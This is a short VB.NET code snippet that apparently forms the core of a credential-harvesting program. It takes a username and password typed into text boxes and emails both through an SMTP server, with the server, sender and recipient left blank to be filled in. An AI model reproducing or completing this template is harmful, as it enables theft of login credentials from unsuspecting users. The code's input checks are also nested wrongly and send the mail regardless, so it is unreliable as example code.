Imports System.Net.Mail

If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential(" ", " ")

smtpServer.Port = 587
smtpServer.Host = " "
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("")
mail.To.Add("")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = " : " & TextBox1.Text & ", " & " : " & textbox2.text
smtpServer.Send(mail)
MsgBox("")